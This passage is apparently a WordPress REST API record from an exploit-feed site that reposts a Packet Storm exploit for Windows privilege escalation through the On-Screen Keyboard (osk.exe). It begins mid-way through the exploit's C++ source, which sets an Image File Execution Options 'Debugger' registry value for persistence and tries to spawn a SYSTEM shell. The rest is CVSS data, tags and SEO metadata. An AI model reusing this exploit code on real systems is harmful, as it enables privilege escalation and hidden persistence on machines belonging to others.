KEY_SET_VALUE, \\u0026hKey) == ERROR_SUCCESS) {\\n                    WCHAR path[MAX_PATH];\\n                    GetModuleFileNameW(nullptr, path, MAX_PATH);\\n                    RegSetValueExW(hKey, L\\&#8221;Debugger\\&#8221;, 0, REG_SZ,\\n                                  reinterpret_cast\\u003cconst BYTE*\\u003e(path),\\n                                  static_cast\\u003cDWORD\\u003e((wcslen(path) + 1) * sizeof(WCHAR)));\\n                    RegCloseKey(hKey);\\n                    printf(\\&#8221;[+] IFEO Debugger persistence configured\\\\n\\&#8221;);\\n                }\\n            }\\n            \\n            printf(\\&#8221;\\\\n[*] To get SYSTEM shell, wait for scheduled task or service to trigger.\\\\n\\&#8221;);\\n            printf(\\&#8221;[*] Alternatively, run osk.exe again to trigger debugger.\\\\n\\&#8221;);\\n            printf(\\&#8221;\\\\n[*] Attempting to spawn SYSTEM shell&#8230;\\\\n\\&#8221;);\\n            Sleep(3000);\\n    \\n            ShellExecuteW(nullptr, L\\&#8221;runas\\&#8221;, L\\&#8221;cmd.exe\\&#8221;, L\\&#8221;\/k whoami\\&#8221;, nullptr, SW_SHOW);\\n            \\n        } else {\\n            printf(\\&#8221;\\\\n[!] Exploit failed. Try running OSK manually first.\\\\n\\&#8221;);\\n            return 1;\\n        }\\n        \\n        return 0;\\n    }\\n    \\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/219845&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/219845\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-27T16:34:45&#8243;,&#8221;description&#8221;:&#8221;The provided code is a conceptual Windows privilege escalation exploit targeting the On-Screen Keyboard osk.exe and Accessibility AT registry infrastructure. It attempts to abuse weak&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-49744","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 OSK Registry-Based Privilege Escalation \/ Symlink Attack_PACKETSTORM:219845 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=49744\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 OSK Registry-Based Privilege Escalation \/ Symlink Attack_PACKETSTORM:219845 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-27T16:34:45&#8243;,&#8221;description&#8221;:&#8221;The provided code is a conceptual Windows privilege escalation exploit targeting the On-Screen Keyboard osk.exe and Accessibility AT registry infrastructure. It attempts to abuse weak...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=49744\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-27T12:39:23+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"16 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49744#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49744\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 OSK Registry-Based Privilege Escalation \\\/ Symlink Attack_PACKETSTORM:219845\",\"datePublished\":\"2026-04-27T12:39:23+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49744\"},\"wordCount\":3184,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.8\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=49744#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49744\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49744\",\"name\":\"\ud83d\udcc4 OSK Registry-Based Privilege Escalation \\\/ Symlink Attack_PACKETSTORM:219845 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-27T12:39:23+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49744#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=49744\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49744#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 OSK Registry-Based Privilege Escalation \\\/ Symlink Attack_PACKETSTORM:219845\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 OSK Registry-Based Privilege Escalation \/ Symlink Attack_PACKETSTORM:219845 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=49744","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 OSK Registry-Based Privilege Escalation \/ Symlink Attack_PACKETSTORM:219845 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-27T16:34:45&#8243;,&#8221;description&#8221;:&#8221;The provided code is a conceptual Windows privilege escalation exploit targeting the On-Screen Keyboard osk.exe and Accessibility AT registry infrastructure. It attempts to abuse weak...","og_url":"https:\/\/zero.redgem.net\/?p=49744","og_site_name":"zero redgem","article_published_time":"2026-04-27T12:39:23+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"16 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=49744#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=49744"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 OSK Registry-Based Privilege Escalation \/ Symlink Attack_PACKETSTORM:219845","datePublished":"2026-04-27T12:39:23+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=49744"},"wordCount":3184,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.8","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=49744#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=49744","url":"https:\/\/zero.redgem.net\/?p=49744","name":"\ud83d\udcc4 OSK Registry-Based Privilege Escalation \/ Symlink Attack_PACKETSTORM:219845 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-27T12:39:23+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=49744#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=49744"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=49744#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 OSK Registry-Based Privilege Escalation \/ Symlink Attack_PACKETSTORM:219845"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/49744","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=49744"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/49744\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=49744"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=49744"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=49744"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}